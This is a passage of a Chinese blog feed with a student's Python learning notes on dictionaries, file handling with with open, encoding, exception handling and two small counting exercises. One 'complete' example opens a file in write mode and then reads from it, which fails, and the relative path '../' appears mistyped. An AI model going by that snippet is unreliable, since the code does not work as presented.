class="string">&#x27;name&#x27;</span>: <span class="string">&#x27;myrvyn&#x27;</span>,</span><br><span class="line">    <span class="string">&#x27;year&#x27;</span>: <span class="number">19</span>,</span><br><span class="line">    <span class="string">&#x27;hobby&#x27;</span>: <span class="string">&#x27;敲代码&#x27;</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><blockquote><p>为什么 <strong><em>my_info</em></strong> 要写在外面？<br>因为它是“全局”的数据。</p></blockquote><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 2. 功能函数：封装展示个人名片的逻辑</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">show_card</span>(<span class="params">info_dict</span>):</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;\n&quot;</span> + <span class="string">&quot;=&quot;</span> * <span class="number">25</span>)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;【个人信息卡片】&quot;</span>)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;昵称:<span class="subst">&#123;info_dict[<span class="string">&#x27;name&#x27;</span>]&#125;</span>&quot;</span>)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;年龄:<span class="subst">&#123;info_dict[<span class="string">&#x27;year&#x27;</span>]&#125;</span>&quot;</span>)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;爱好:<span class="subst">&#123;info_dict[<span class="string">&#x27;hobby&#x27;</span>]&#125;</span>&quot;</span>)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;=&quot;</span> * <span class="number">25</span> + <span class="string">&quot;\n&quot;</span>)</span><br></pre></td></tr></table></figure><blockquote><p>为什么要单独写一个 <strong><em>show_card</em></strong> 函数？<br>因为不封装成函数，每次用户输入 <em>check</em> ，我们都要把上面这几行 print 重新写一遍。封装成函数后，主程序里只要一句 show_card(my_info) 就能直接调用，代码更干净。这就叫“封装”。</p></blockquote><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 3. 主程序：命令行交互循环</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;(提示: 输入1024打卡, 输入check查看身份, 输入exit退出)&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">    user_input = <span class="built_in">input</span>(<span class="string">&quot;请输入指令: &quot;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 路由分发：根据不同的指令执行不同的操作</span></span><br><span class="line">    <span class="keyword">if</span> user_input == <span class="string">&quot;exit&quot;</span>:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;终端已关闭。&quot;</span>)</span><br><span class="line">        <span class="keyword">break</span>  <span class="comment"># 退出无限循环</span></span><br><span class="line">    <span class="keyword">elif</span> user_input == <span class="string">&quot;1024&quot;</span>:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;打卡成功,经验值+1&quot;</span>)</span><br><span class="line">    <span class="keyword">elif</span> user_input == <span class="string">&quot;check&quot;</span>:</span><br><span class="line">        show_card(my_info)  <span class="comment"># 调用函数，传入字典</span></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;未知指令,请重新输入&quot;</span>)</span><br></pre></td></tr></table></figure><blockquote><p>讲讲 <strong><em>while True</em></strong> 的感觉。就是可以比喻说：“这就好比我开了一家店，只要顾客没喊 <strong><em>exit</em></strong>（关门），我就一直坐在这里等他们输入指令。”</p></blockquote><p><em>看着这三段代码，最大的感受就是“逻辑其实不难，就是把生活搬进代码里”。字典就是我的身份档案，函数就是我的展示卡片动作，while 循环就是我在等你跟我说话。</em></p><h3 id="列表在代码里怎么用（简洁了一点）：">列表在代码里怎么用（简洁了一点）：</h3><p><code>在代码分解1里面，最后一个代码后面，加上 'skills': ['Python', '写代码', '找Bug']。在“代码分解2”里面倒数第二行，加上 print(f&quot;技能:&#123;info_dict['skills']&#125;&quot;)。</code><br><strong>理解</strong> ：为什么要在字典里塞一个列表？</p><ul><li>在写“ <strong>个人信息卡片</strong> ”的时候，我发现“爱好”通常只有一个（比如敲代码），用字符串就够了。但是“技能”往往有多个。</li><li>如果我把技能写成 <strong>‘skills’: ‘Python, 写代码, 找Bug’</strong>，它本质上还是一个长字符串，以后如果我想单独把 <strong>Python</strong> 挑出来，就很麻烦。</li><li>所以我用了一个列表 <strong>[‘Python’, ‘写代码’, ‘找Bug’]</strong> 作为字典的值。这就是今天学到的（字典套列表）。当程序打印 <strong>info_dict[‘skills’]</strong> 的时候，它会原封不动地把整个列表展示出来。这样写，方便以后随时添加新技能。</li></ul><h3 id="五、让程序拥有记忆与容错能力（with-open）">五、让程序拥有记忆与容错能力（with open）</h3><p>前面的终端，只要一敲 exit 数据就全丢了，而且用户要是乱输入还会直接崩溃。为了解决这两个问题，我用了两段代码来巩固 <strong>with open</strong> 和 异常处理。</p><h4 id="怎么理解-with-open-这几个词？">怎么理解 with open 这几个词？</h4><ul><li><strong>open</strong>：就是“打开文件”。</li><li><strong>as f</strong>：给打开的文件起个外号叫 f。接下来读（f.read()）或者写（f.write()），直接喊 f 就行。</li><li><strong>with</strong>：这是最核心的词。有了它，就完全不用写 <strong>f.close( )</strong>。只要代码退出了 with 的缩进范围，不管中间有没有报错，它都会保证把文件安全关上。</li></ul><h3 id="1-with-open：这到底是啥？">1. <strong>with open</strong>：这到底是啥？</h3><p><strong>这是以前的“ 非优雅 ”写法（容易漏内存）：</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">f = <span class="built_in">open</span>(<span class="string">&quot;笔记.txt&quot;</span>, <span class="string">&quot;r&quot;</span>, encoding=<span class="string">&quot;utf-8&quot;</span>)</span><br><span class="line">content = f.read()</span><br><span class="line">f.close()  <span class="comment"># 必须手动关门！</span></span><br></pre></td></tr></table></figure><p>不好在哪？ 如果 f.read() 的时候代码突然报错崩溃了，程序直接中断，根本走不到 f.close() 这一步。结果就是文件被占用，造成内存泄漏。</p><p><strong>这是现在的“ 优雅 ”写法（with open）：</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&quot;笔记.txt&quot;</span>, <span class="string">&quot;r&quot;</span>, encoding=<span class="string">&quot;utf-8&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">    content = f.read()</span><br><span class="line"><span class="comment"># 只要退出了缩进，文件就会自动关闭，就算中途报错也会关！</span></span><br></pre></td></tr></table></figure><h3 id="2-用-mode-“a”-写一个极简“-Bug记录仪-”">2. 用 <strong>mode=“a”</strong> 写一个极简“ Bug记录仪 ”</h3><p>懂了 with open 之后，我写了一个极简版的代码，把灵感追加存进 txt 文件里：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">content = <span class="built_in">input</span>(<span class="string">&quot;请输入你的灵感: &quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># mode=&quot;a&quot; 代表追加模式，不会覆盖旧内容</span></span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&quot;灵感.txt&quot;</span>, mode=<span class="string">&quot;a&quot;</span>, encoding=<span class="string">&quot;utf-8&quot;</span>) <span class="keyword">as</span> file:</span><br><span class="line">    file.write(content + <span class="string">&quot;\n&quot;</span>)  <span class="comment"># 加 \n 是为了换行</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;记录成功！&quot;</span>)</span><br></pre></td></tr></table></figure><p><strong>复盘</strong>：</p><ul><li>之前学的是 <strong>mode=“w”</strong>（ 覆盖写入 ），只要用 “w”，以前写的东西就全没了。</li><li>这次用了 <strong>mode=“a”</strong>（追加），它就像翻到笔记本的下一页接着写，之前的记录稳稳保留。这就是让程序拥有“ 记忆 ”的基础。</li></ul><hr><p><strong>结合课上的截图，我发现 open 函数其实大有学问。它不仅仅是一个 “ 打开 ” 动作，里面还有好几个关键参数：</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 优雅写法完整版</span></span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">r&quot;C:\Users\1\Desktop\test.txt&quot;</span>, encoding=<span class="string">&quot;utf-8&quot;</span>, mode=<span class="string">&quot;w&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">    content = f.read()</span><br></pre></td></tr></table></figure><p>这行代码里包含了这几个关键点：</p><h4 id="1-文件路径-：">1. 文件路径 ：</h4><p>课上的笔记写了这两个概念，我一开始也绕晕了，后来用快递地址和指路来理解，瞬间就通了：</p><p><strong>绝对路径</strong> ：( 像写快递地址 )</p><ul><li>概念：从电脑的“盘符”（比如 C盘、D盘）开始，一直写到你想要的文件名，一步都不落下。</li><li>代码示例：<strong>C:\Users\1\Desktop\today\test\test2.txt</strong><blockquote><p>我的理解：就像寄快递，必须写明“中国-江西省-南昌市-某某区-某某路-某某小区-几栋几号”。不管你人在哪里，只要拿到这个完整的地址，就一定能找到目标。</p></blockquote></li></ul><p><strong>相对路径:</strong> ( 像在家里指路 )</p><p><strong>概念</strong>：以你当前运行的代码文件所在的位置为起点，去找到目标文件。</p><p><strong><em>代码示例</em></strong> ：</p><ul><li>如果文件和代码在同一个文件夹里，直接写文件名就行：<strong>“test2.txt”</strong> 。</li><li>如果在代码文件的上一级目录，写：<strong>“…/test2.txt”</strong> 。<blockquote><p>我的理解：就像你在家里坐在沙发上，跟室友说 “ 去厨房拿个苹果 ”。你不需要说 “ 去地球上中国某某小区的厨房 ”，因为室友（电脑）知道你现在就在家里（当前代码目录），它顺着你的位置去找厨房就行。</p></blockquote></li><li><strong>注意</strong> ：Windows 路径里有反斜杠 \，为了防止被识别为转义字符（比如 \n），前面一定要加个 <strong>r</strong>（代表 raw string）。</li></ul><h3 id="2-编码-encoding-：">2. 编码 (encoding)：</h3><ul><li>一定要写 <strong>encoding=“utf-8”</strong> 。如果电脑默认用 <strong>GBK</strong> ，读中文就会乱码。</li><li>为什么一定要写？ 记得课上学长说的：计算机底层只认识 0 和 1，把中文变成 0 和 1 的规则就叫 “ 编码 ”。不同系统默认的编码不一样（这是我查的Windows 经常默认是 GBK，而 Mac/Linux 默认是 UTF-8）。</li><li>乱码：如果不指定 encoding=“utf-8”，写进去的中文在别人的电脑上打开可能全是一堆问号或者“锟斤拷”。</li><li>结论：只要写文件，无脑加上 encoding=“utf-8”</li></ul><h3 id="3-模式-mode-：">3. 模式 (mode)：</h3><p>这是最核心的参数，决定了你打开文件后能干嘛：</p><ul><li>mode=“r”（只读模式，默认）： 只能看，不能改。如果文件不存在，程序会直接报错 FileNotFoundError。</li></ul><p><strong>课后补充</strong>：带 + 和 b 的模式：</p><ul><li><strong>r+、w+、a+</strong> ：代表既能读又能写。</li><li><strong>rb、wb</strong> ：代表以二进制模式读写。如果要处理图片、视频、音频这些非文本文件，就必须用带 b 的模式，且不能指定 encoding 。</li></ul><blockquote><p>总结：<br>平时写代码，如果能用相对路径（比如就直接写 “log.txt”）就用相对路径，因为代码挪到别的电脑上也能直接跑。</p></blockquote><h2 id="如果实在找不到，或者必须用绝对路径，记得在-Windows-下加个-r-防转义">如果实在找不到，或者必须用绝对路径，记得在 Windows 下加个 r 防转义</h2><h4 id="基础异常处理：">基础异常处理：</h4><p>有了文件操作还不够，如果用户乱输入，程序还是会崩溃。我写了个“成绩查询系统”来练习 <strong>try</strong> 和 <strong>except</strong> 。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">scores = &#123;<span class="string">&quot;语文&quot;</span>: <span class="number">91</span>, <span class="string">&quot;数学&quot;</span>: <span class="number">90</span>, <span class="string">&quot;英语&quot;</span>: <span class="number">77</span>&#125;</span><br><span class="line">subject = <span class="built_in">input</span>(<span class="string">&quot;请输入科目: &quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">try</span>:</span><br><span class="line">    <span class="comment"># 尝试拿数据，如果输入了字典里没有的科目，会报 KeyError</span></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;你的<span class="subst">&#123;subject&#125;</span>成绩是 <span class="subst">&#123;scores[subject]&#125;</span> 分&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">except</span> KeyError:</span><br><span class="line">    <span class="comment"># 接住错误，程序不崩溃，温柔地提示你</span></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;没有找到该科目的记录，请检查拼写~&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    <span class="comment"># 只要 try 里面没报错，就会执行这里</span></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;查询完毕！&quot;</span>)</span><br></pre></td></tr></table></figure><p>结合我的成绩查询代码，它的运行逻辑是这样的：</p><p><strong>1. try</strong>（尝试区）：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">subject = <span class="built_in">input</span>(<span class="string">&quot;请输入科目: &quot;</span>)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">f&quot;你的<span class="subst">&#123;subject&#125;</span>成绩是 <span class="subst">&#123;scores[subject]&#125;</span> 分&quot;</span>)</span><br></pre></td></tr></table></figure><p>我告诉电脑：“ 你先试着执行这两行代码 ”。如果我输入了“ 数学 ”，字典 <strong>scores</strong> 里面有，电脑顺利打印出成绩。<br><strong>2. except KeyError</strong>（兜底区）：</p><p>如果我手欠，输入了“ 物理 ”或者“ 体育 ”或者其他什么，字典里根本没有这个键。按照以前的脾气，电脑会直接爆红报错（KeyError），程序当场死机。<br>但现在我写了 <strong>except KeyError:</strong> 这就相当于告诉电脑：“如果你遇到了找不到键（KeyError）的错误，别死机，来执行我这里的代码。”所以它会温柔地打印一句：“ 没有找到该科目的记录 ”。<br><strong>3. else</strong>（顺利区）：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;查询完毕&quot;</span>)</span><br></pre></td></tr></table></figure><p>只要 <strong>try</strong> 里面的代码没有发生任何报错，顺利跑完了，它才会接着执行 <strong>else</strong> 里面的代码。<br><strong>我的脑补</strong> ：<br>以前只要我输入错东西，程序直接一片爆红死机。现在有了 <strong>try</strong> 和 <strong>except</strong>：</p><ul><li><strong>try</strong> 就是 “ 你试着跑一下 ”。</li><li><strong>except KeyError</strong> 就是 “ 如果报了这个错，我来接住 ”。</li><li><strong>else</strong> 是 “ 如果一切顺利，最后打印这句话 ” 。<blockquote><p><em>这样程序就有了容错能力</em></p></blockquote></li></ul><h3 id="六、-限时挑战赛：B题与C题复盘">六、 限时挑战赛：B题与C题复盘</h3><p>在做完前面的终端后，我挑战了下面两道题。这两道题让我对“枚举”和“基础复杂度”有了深刻的体会。</p><p><strong>C题：连续打卡</strong></p><p>题目大意：输入一个只包含 0 和 1 的字符串（1代表打卡了），求最长连续 1 的长度。<br>示例：输入 11011101，输出 3。</p><p><strong>思路拆分：</strong><br>题目给的提示非常有用：“ <strong>cur</strong> 记当前连续几个 1，<strong>best</strong> 记历史最长 ”。<br>这就像打游戏，<strong>cur</strong> 是你当前的连杀数，<strong>best</strong> 是你本局的最高连杀记录。一旦死了一次（遇到 ‘0’），<strong>cur</strong> 就归零了，但 <strong>best</strong> 会永远记住你最辉煌的时刻。</p><p><strong>我的代码：</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">s = <span class="built_in">input</span>()</span><br><span class="line">cur = <span class="number">0</span>   <span class="comment"># 当前连续 1 的个数</span></span><br><span class="line">best = <span class="number">0</span>  <span class="comment"># 历史最长连续 1 的个数</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> char <span class="keyword">in</span> s:</span><br><span class="line">    <span class="keyword">if</span> char == <span class="string">&#x27;1&#x27;</span>:</span><br><span class="line">        cur += <span class="number">1</span>  <span class="comment"># 遇到 1，当前连击数 +1</span></span><br><span class="line">        <span class="keyword">if</span> cur &gt; best:</span><br><span class="line">            best = cur  <span class="comment"># 顺手更新历史最高纪录</span></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        cur = <span class="number">0</span>  <span class="comment"># 遇到 0，连击中断，归零</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(best)</span><br></pre></td></tr></table></figure><hr><p><strong>B题：寻找节日数字</strong></p><p>题目大意：输入一个整数 n，统计 1 到 n 之间，包含字符 ‘4’ 的整数有多少个。<br>示例：输入 50，输出 14（因为 4, 14, 24, 34, 40~49 里面都有 4）。</p><p><strong>思路拆分：</strong><br>一开始我想得很复杂，去算个位、十位是不是 4。但题目提示直接把我看傻了：“把数字变成字符串，用 “4” in str(i) 就能判断”。<br>对哦，用 str(i) 把数字变成文本，然后直接看 “4” 在不在里面。</p><p>至于我看课表里说的 “ 基础复杂度 ”，题目里有一句话：“1 到 100000 共 10 万次判断，对电脑来说是眨眼的事。” 我觉得数 10 万个数要累死，但对 CPU 来说，连一秒钟都不用🤡。</p><p><strong>我的代码：</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">n = <span class="built_in">int</span>(<span class="built_in">input</span>())</span><br><span class="line">count = <span class="number">0</span>  <span class="comment"># 计数器</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 枚举 1 到 n 的所有数字</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, n + <span class="number">1</span>):</span><br><span class="line">    <span class="comment"># 将整数 i 转成字符串，检查 &#x27;4&#x27; 是否在里面</span></span><br><span class="line">    <span class="keyword">if</span> <span class="string">&quot;4&quot;</span> <span class="keyword">in</span> <span class="built_in">str</span>(i):</span><br><span class="line">        count += <span class="number">1</span>  <span class="comment"># 如果包含，计数器加 1</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(count)</span><br></pre></td></tr></table></figure><blockquote><p><strong>总结：</strong><br>这两道题让我明白了，写程序不需要像人脑那样去 “ 硬算 ”。</p><ul><li>遇到数数的问题，用 for 循环去枚举（一个个试）就行了，电脑最不怕的就是重复劳动。</li><li>遇到判断包含的问题，把数字转成字符串去查找，往往是会比数学公式更简单的。</li><li>这两道题的代码都没有超过 10 行，但解决的都是非常实际的问题。</li></ul></blockquote>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 style=&quot;text-align:center&quot;&gt;1024程序员节&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;今天跟着“1024程序员节”的课表开始学 Python。上午的进度虽然只推进了两节（复习基础语法 + 函数）为了防止自己“学了就忘”，我把上午的踩坑记录和知识理</summary>
      
    
    
    
    
    <category term="python" scheme="https://myrvyn.github.io/tags/python/"/>
    
    <category term="学习复盘" scheme="https://myrvyn.github.io/tags/%E5%AD%A6%E4%B9%A0%E5%A4%8D%E7%9B%98/"/>
    
  </entry>
  
  <entry>
    <title>Python基础</title>
    <link href="https://myrvyn.github.io/posts/99832f47.html"/>
    <id>https://myrvyn.github.io/posts/99832f47.html</id>
    <published>2026-10-22T13:20:57.000Z</published>
    <updated>2026-10-26T14:12:13.184Z</updated>
    
    <content type="html"><![CDATA[<h1 id="2026-10-18-python复盘">2026-10-18-python复盘</h1><blockquote><p><strong>前言：</strong><br>记录一下学的 Python 基础语法的复盘。<br>主要梳理了变量、循环、条件判断、列表等基础知识</p></blockquote><h3 id="1-输出-print（-）">1. 输出 print（ ）</h3><blockquote><p>首先得让电脑开口说话，顺便给它个“收纳盒”</p></blockquote><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">name = <span class="string">&quot;战士&quot;</span>       <span class="comment"># 把文字装进叫 name 的盒子</span></span><br><span class="line">HP = <span class="number">100</span>            <span class="comment"># 把数字装进叫 HP 的盒子</span></span><br><span class="line"><span class="built_in">print</span>(name, HP)     <span class="comment"># 让电脑念出来</span></span><br></pre></td></tr></table></figure><p>name 和 HP 就是收纳盒上的标签。那个等号 = 不是数学里的“等于”，而是“装进去”的意思。电脑看到 HP = 100，就会在内存里拿出一个盒子，贴上 HP 的标签，把数字 100 放进去。</p><p><strong>print</strong> 就是让电脑开口说话。而“<strong>变量</strong>”就像是贴了标签的收纳盒。你往盒子里装个数字“100”，贴上标签叫 血量，以后你跟电脑说“血量”，它就知道是那个 100。</p><p>我自己总结：<br><strong>表格</strong></p><table><thead><tr><th>学了什么</th><th>理解：</th></tr></thead><tbody><tr><td>print（ ）</td><td>让电脑把字打在屏幕上</td></tr><tr><td>变量</td><td>给数据起个名，装进盒子</td></tr><tr><td>算术计算</td><td>让电脑当计算机，加减乘除它都会</td></tr></tbody></table><h3 id="2-输入-input-和-int">2. 输入 input ( ) 和 int ( )</h3><ul><li>买奶茶任务<ul><li>电脑得先问我带了多少钱，这就是 <strong>input( )</strong> ，它会停下来等我打字。</li><li>但这里有个坑：只要是你用键盘敲进去的，它全当作“文字”处理。文字是没法算加减乘除的，</li><li>所以得用 <strong>int( )</strong>（整数）把文字“翻译”成真正的数字。</li></ul></li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">money = <span class="built_in">input</span>(<span class="string">&quot;你有多少钱？&quot;</span>)  <span class="comment"># 电脑以为你输入的是字符串（文字），它不会算数</span></span><br><span class="line">money = <span class="built_in">int</span>(money)             <span class="comment"># 翻译后，money 变成真数字了</span></span><br></pre></td></tr></table></figure><h3 id="3-、-与-f">3. //、% 与 f&quot;&quot;</h3><p>算能买几杯奶茶时，用到了三个符号：</p><ul><li><strong>//</strong>（ 双斜杠 ）：叫整除。10块钱买3块一杯的奶茶，它只留整数3，砍掉小数。</li><li><strong>%</strong>（ 百分号 ）：叫取余。买完奶茶剩下的1块钱零钱，就是余数。</li><li><strong>f</strong>&quot;&quot; : 你可以把它当成 <strong>填空模板</strong> 。在字符串前面加个 <strong><em>f</em></strong> ，里面用大括号 {} 挖好坑。电脑运行到这，就会自动把变量里的值填进坑里。</li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">print</span>(<span class="string">f&quot;能买<span class="subst">&#123;money // <span class="number">3</span>&#125;</span>杯，还剩<span class="subst">&#123;money % <span class="number">3</span>&#125;</span>块钱&quot;</span>)</span><br></pre></td></tr></table></figure><h3 id="4-条件判断与比较运算">4. 条件判断与比较运算</h3><p>这里的核心就是 <strong>if</strong>（ 如果 ），也就是给电脑立规矩。不过有个容易踩的坑，就是 <strong>==</strong>。<br>一个等号（ = ）是往盒子里装东西（ 赋值 ），两个等号（ == ）才是问电脑这俩一样吗？（ 比较 ）。</p><p>如果第一个条件没中呢？这时候就用 <strong>elif</strong>（ 其实就是 else if 的缩写 ），意思是“如果上面那个不行，再看看我这个”。最后拿个 <strong>else</strong> 来兜底，意思是“前面都不满足，那就走这条吧”。</p><p>还有个很常用的词叫 <strong>and</strong>。你可以把它当成一个极其严格的裁判，意思是“并且”。它要求两边的条件必须同时成立才行。</p><p>像我在下面写的这个猜拳游戏：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> 玩家 == <span class="string">&quot;石头&quot;</span> <span class="keyword">and</span> 电脑 == <span class="string">&quot;剪刀&quot;</span>:</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;玩家赢&quot;</span>)</span><br><span class="line"><span class="keyword">elif</span> 玩家 == 电脑:</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;平局&quot;</span>)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;电脑赢&quot;</span>)</span><br></pre></td></tr></table></figure><p>电脑在判断的时候，必须同时确认两件事：1. 玩家出的是石头吗？ 2. 电脑出的是剪刀吗？ 只要这两个条件里有一个没对上（ 比如电脑出的是布 ），<strong>and</strong> 两边就不满足，电脑就不会打印“玩家赢”。</p><p>（ 这里为了方便看懂，我直接用了中文当变量名，正常写的时候最好用英文比如 player 和 computer ）</p><h3 id="5-for-循环-range-累加">5. for 循环 / range ( 累加 )</h3><ul><li>场景：假设你有个金币存钱罐，第1天存1块，第2天存2块……算算连续存几天能有多少金币。<ul><li><strong>for</strong>：就是“循环”，让电脑把一件事干很多遍。</li><li><strong>range</strong> ( 1, 6 )：用来规定到底干几遍。代表从 1 开始，到 5 结束，根本不包含6，所以实际上只循环了5次。（ 包头不包尾，不包含6 ）。</li><li><strong>累加</strong>：就是找个空盒子（ 总数=0 ），每次循环把新金币装进去（ 总数 = 总数 + 新金币 ）。</li></ul></li></ul><p>来看实操：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">总数 = <span class="number">0</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, <span class="number">6</span>):      <span class="comment"># 相当于跑了5次</span></span><br><span class="line">    总数 = 总数 + i        <span class="comment"># 每次把 i 塞进总数里</span></span><br><span class="line"><span class="built_in">print</span>(总数)                <span class="comment"># 最后算出来是 15</span></span><br></pre></td></tr></table></figure><blockquote><p>（ 这里说一句：python里的缩进很严格，代码里写的<strong>总数 = 总数 + i</strong> 前面一定要加4个空格（ 或者点 <strong>Tab</strong> 键 ），这样才能写 <strong>print</strong> 。不然电脑会直接报错 ）</p></blockquote><h3 id="6-循环-while-和-break">6. 循环 while 和 break</h3><p>场景：猜数字，不猜对不结束。</p><ul><li><strong>while</strong>：当……的时候。只要条件成立，就一直循环。比如 <strong>while</strong> 没猜中，它就会一直让你猜。</li><li><strong>break</strong>：强行打断。猜对了，直接用 <strong>break</strong> 把整个循环停止，结束。</li></ul><p>下面是我写的基础逻辑：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">while</span> <span class="literal">True</span>:          <span class="comment"># 死循环（永远为真）</span></span><br><span class="line">    猜的数 = <span class="built_in">int</span>(<span class="built_in">input</span>(<span class="string">&quot;猜个数字:&quot;</span>))</span><br><span class="line">    <span class="keyword">if</span> 猜的数 == <span class="number">666</span>:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;猜对了!&quot;</span>)</span><br><span class="line">        <span class="keyword">break</span>        <span class="comment"># 结束循环</span></span><br></pre></td></tr></table></figure><p>完整一点：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> random</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;=&quot;</span> * <span class="number">40</span>)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;进入猜数字小游戏！猜猜一个1~100内的整数。&quot;</span>)</span><br><span class="line">guess_number = random.randint(<span class="number">1</span>, <span class="number">100</span>)</span><br><span 